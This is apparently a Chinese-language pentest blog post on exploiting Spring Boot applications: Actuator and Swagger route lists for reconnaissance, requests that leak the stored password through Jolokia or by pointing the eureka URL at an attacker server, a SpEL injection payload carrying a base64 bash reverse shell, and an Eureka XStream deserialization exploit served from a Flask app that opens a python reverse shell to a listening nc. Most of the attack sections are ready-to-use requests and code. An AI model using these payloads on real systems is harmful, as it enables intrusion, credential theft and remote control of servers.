SpringBoot

简介

SpringBoot简绍

Spring是java web里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring BootActuators反序列化

Actuator简绍

Spring Boot 是 Spring 框架的扩展。Actuator 是 Springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator,开发者可以很方便地对应用系统的某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。

常见的端点信息

SpringBoot项目端点配置_spring boot2.4 endpoint配置-CSDN博 客

路由信息

有些程序员会自定义 /manage 、/management 、项目 App 相关名称为 spring 根路径Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成/appenv

SpringBoot漏洞发现

  1. 框架发现,使用浏览器插件

    image-20240120095345009

  2. 或者是小绿叶,报错

    image-20240120095454332

SpringBoot信息收集

路由地址及接口调用详情泄漏

一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 “默认安全” 来
讲,不暴露出这些信息更加安全。
对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是
否存在未授权访问、越权等其他业务类型漏洞。

其他一些可能会遇到的swagger、swagger codegen、swagger-dubbo等相关接口路由

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

发现是SpringBoot搭建的网站之后,尝试去使用dirsearch等目录扫描工具扫一下,或者是使用专门的工具扫描

https://github.com/rabbitmask/SB-Actuator

image-20240120105235967

发现有/env所以推测这个是1.x版本的

然后尝试访问,在这个页面寻找密码

image-20240120105415667

image-20240120105430622

有可能会存在明文的密码,这个加密了是应为前面存在password

但是这个是有办法解决的

  1. 访问目标/jolokia或/actuator/jolokia接口

    目标使用了 jolokia-core 依赖(版本要求暂未知)

  2. spring 1.x

    1
    2
    3
    4
    POST /jolokia
    Content-Type: application/json

    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    spring 2.x

    1
    2
    3
    4
    POST /jolokia
    Content-Type: application/json

    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    image-20240120111400034

如果上面的方式不能使用的话,可以尝试下面的方式

  1. 查找加密

    image-20240708164401326

  2. 开启监听nc

    image-20240708164543057

  3. post 发送

    1
    2
    3
    4
    POST /env
    Content-Type: application/x-www-form-urlencoded

    eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
  4. 刷新

    1
    2
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
  5. 接受到数据

    image-20240708164905460

  6. 复制basic 后面的

    进行base64 解密

    image-20240708164941482

其他信息获取

image-20240120111535106

springboot-spel-rce

漏洞原理

主要是因为使用了springboot默认错误页在处理参数值使用递归流程,流程进入到PropertyPlaceholderHelper 类中,${}包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

漏洞发现

image-20240120112914143

这里有一个网页,他会显示看过的书,然后剩余的书,这个可能出现在新闻之内的地方

payload

  1. 发现是否存在漏洞

    image-20240120113131631

    发现存在漏洞

  2. 利用

    生成16进制的脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    input_string = "open -a Calculator"
    hex_list = []

    for ch in input_string:
    # 将字符转换为十六进制表示,并添加到列表中
    hex_list.append(f"0x{ord(ch):02x}")

    hex_string = ', '.join(hex_list)
    print(hex_string)
    1
    ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63, 0x61, 0x6c, 0x63}))}

漏洞利用

由于java的对象都是在内存利用,我们要利用的话,我们可以尝试将代码变成java字节码的形式

1
2
3
4
5
6
7
# coding: utf-8

result = ""
target = 'touch /tmp/mingy'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

然后这我们换成反弹shell的指令

https://www.sqlsec.com/rce/

1
2
3
4
5
6
7
# coding: utf-8

result = ""
target = 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8xMTIzNCAwPiYx}|{base64,-d}|{bash,-i}' # rce
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

然后发送

1
http://192.168.79.128:9091/article/?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x63,0x35,0x4c,0x6a,0x45,0x7a,0x4f,0x43,0x38,0x78,0x4d,0x54,0x49,0x7a,0x4e,0x43,0x41,0x77,0x50,0x69,0x59,0x78,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

image-20240120114505416

image-20240120114511885

eureka xstream deserialization RCE

利用条件

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)
  3. 目标使用的eureka-client<1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client依赖中)
  4. 目标可以请求攻击者的HTTP服务器(请求可出外网)

漏洞利用

准备一个响应恶意 XStream payload 的网站

这里就使用flask搭建一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.79.138",22345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
app.run(host='0.0.0.0', port=80) # 类似于nc 监听的端口

image-20240120224108233

image-20240120223749989

开启监听

nc -lvp 22345

设置 eureka.client.serviceUrl.defaultZone 属性

通过post方式

pring boot 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

pring boot 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

刷新配置

springboot 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

springboot 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

得到shell

image-20240120224246651


SpringBoot
https://tsy244.github.io/2024/01/20/渗透/SpringBoot/
Author
August Rosenberg
Posted on
January 20, 2024
Licensed under